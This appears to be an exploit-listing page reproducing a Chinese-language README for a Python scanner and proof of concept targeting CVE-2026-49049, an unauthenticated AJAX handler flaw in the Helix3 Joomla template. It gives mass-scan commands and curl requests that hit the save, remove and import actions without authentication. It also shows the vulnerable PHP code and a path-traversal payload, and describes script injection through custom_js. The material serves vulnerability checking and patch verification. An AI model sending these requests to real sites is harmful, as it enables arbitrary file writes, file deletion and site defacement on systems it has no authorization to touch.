Sploitus

Exploit for CVE-2026-49049

kitploit · 2026-09-07

Exploit Code

MARKDOWN218 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-49049
![Python](https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white) ![CVE](https://img.shields.io/badge/CVE-2026--49049-CC0000?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS-7.5_HIGH-CC0000?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-97CA00?style=flat-square)

### CVE-2026-49049 — Helix3 Joomla 插件 (JoomShaper)

#### 未经身份验证的 AJAX 处理器 — 只读漏洞扫描器

* * *

## 概述

**CVE-2026-49049** 影响 Joomla 的 Helix3 模板框架(版本 **1.0 至 3.1.0** )。通过 Joomla 的 `com_ajax` 调度器可访问的 `onAjaxHelix3` 处理器,在多个破坏性操作上**未执行任何身份验证、授权或 CSRF 验证** :

操作| 影响| 可用版本  
---|---|---  
`save`| 写入攻击者控制的 JSON 文件,支持**路径遍历**|  所有版本  
`remove`| 删除任意文件 — **无扩展名或路径限制**|  所有版本  
`import`| 覆盖数据库中存储的模板参数| **仅 v3.x**  
  
> **注意:** `import` 操作是在 Helix3 v3.x 中添加的。运行 v2.x 的站点仅受 `save` 和 `remove` 影响。

该漏洞由 **Phil Taylor** (mySites.guru) 发现并于 2026 年 6 月 29 日公布。

### 受影响版本

Helix3 版本| save/remove| import  
---|---|---  
1.0 – 2.x| 存在漏洞| 不存在  
3.0 – 3.1.0| 存在漏洞| 存在漏洞  
3.1.1+| 已修补| 已修补  
  
* * *

## 安装

root@kitploit:~
    
    
    git clone https://github.com/shinthink/CVE-2026-49049.git
    cd CVE-2026-49049
    pip install -r requirements.txt
    

* * *

## 使用

root@kitploit:~
    
    
    # 单个目标
    python cve_2026_49049.py -t 192.168.1.100
    
    # 批量扫描
    python cve_2026_49049.py -f targets.txt -o results.txt
    
    # 带 JSON 报告和详细输出
    python cve_2026_49049.py -f targets.txt --json report.json -v
    

### 参数

root@kitploit:~
    
    
      -t, --target     单个目标(域名或 IP)
      -f, --file       包含目标的文件,每行一个
      -o, --output     实时文本输出(默认:cve-2026-49049_scan.txt)
      --json           结构化 JSON 报告(默认:cve-2026-49049_report.json)
      --threads        并发线程数(默认:15)
      --timeout        HTTP 超时秒数(默认:15)
      -v, --verbose    显示探测详情
    

* * *

## 概念验证

### 检测与验证

扫描器执行**只读探测** ——它通过未经身份验证的 `save` 端点将无害的 JSON 文件写入 Helix3 布局文件夹,验证文件已写入,然后立即通过 `remove` 端点将其删除。目标上不会留下任何持久更改。

root@kitploit:~
    
    
    $ python cve_2026_49049.py -t 192.168.1.100 -v
    

root@kitploit:~
    
    
        CVE-2026-49049 — Helix3 (JoomShaper)
        Joomla Unauthenticated AJAX Handler Scanner
    
        [*] save   — accessible (probe: 3a9719da)
        [*] remove — accessible (probe cleaned)
    
      Host      : 192.168.1.100
      Status    : vulnerable
      Helix3    : 2.5.6
      Vulnerable: YES
      save      : YES
      remove    : YES
      import    : NO
      Time      : 2.0s
    

### 手动复现

扫描器探测这些确切端点。用于手动验证:

**步骤 1 — 确认 Helix3 已安装**

root@kitploit:~
    
    
    curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
    # 查找 <version>X.X.X</version>
    

**步骤 2 — 测试 save 操作(未经身份验证的文件写入)**

root@kitploit:~
    
    
    curl -sk -X POST \
      'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
      -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
    

**步骤 3 — 测试 remove 操作(未经身份验证的文件删除)**

root@kitploit:~
    
    
    curl -sk -X POST \
      'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
      -d 'data[action]=remove&data[layoutName]=_test_probe.json'
    

**步骤 4 — 测试 import 操作(仅 v3.x,v2.x 不可用)**

root@kitploit:~
    
    
    curl -sk -X POST \
      'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
      -d 'data[action]=import&data[template_id]=1&data[settings]={}'
    
    # 注意:import 在 Helix3 v3.x 中添加。
    # 运行 v2.x 的站点对此操作将返回空响应。
    

### 漏洞机制

在 3.1.1 之前的 Helix3 版本中,`plugins/ajax/helix3/helix3.php` 通过 `onAjaxHelix3()` 处理请求,**没有任何防护** :

root@kitploit:~
    
    
    public function onAjaxHelix3()
    {
        $input = Factory::getApplication()->input;
        $data  = $input->post->get('data', [], 'array');
        $action = $data['action'];
        $layoutName = $data['layoutName'];
    
        // 无身份验证检查。无 CSRF 令牌。无路径验证。
        $filepath = $layoutPath . $layoutName;   // 可能路径遍历
    
        switch ($action) {
            case 'remove':
                unlink($filepath);               // 任意文件删除
                break;
            case 'save':
                fwrite(fopen($filepath . '.json', 'wb'), $data['content']);  // 写入
                break;
        }
    }
    

### 危险之处

  * **Save + 路径遍历** — `layoutName=../../../somewhere/evil` 将文件写入预期布局目录之外
  * **Remove 无扩展名限制** — 与 `save`(追加 `.json`)不同,`remove` 可以针对任何文件类型
  * **Import (v3.x) 覆盖数据库参数** — `custom_js` 在模板输出中**未转义** 渲染,从而在每个页面上实现脚本注入。这是真实世界篡改攻击中使用的向量。



* * *

## 免责声明

> **仅供教育和授权测试使用。**
> 
> 本软件旨在供进行授权渗透测试的安全专业人员、审计自身基础设施的组织以及研究漏洞利用的研究人员使用。
> 
> 未经授权访问计算机系统是非法的,可能违反:
> 
>   * 美国:《计算机欺诈与滥用法》(18 U.S.C. 1030)
>   * 印度尼西亚:UU ITE 第 30 条和第 46 条
>   * 欧盟:指令 2013/40/EU
>   * 英国:《计算机滥用法》1990
> 

> 
> 作者对误用不承担任何责任。使用本软件即表示您对自己的行为承担全部责任。

* * *

## 参考

资源| 链接  
---|---  
  
* * *

本项目与 JoomShaper、Joomla 或 Open Source Matters, Inc. 无关联。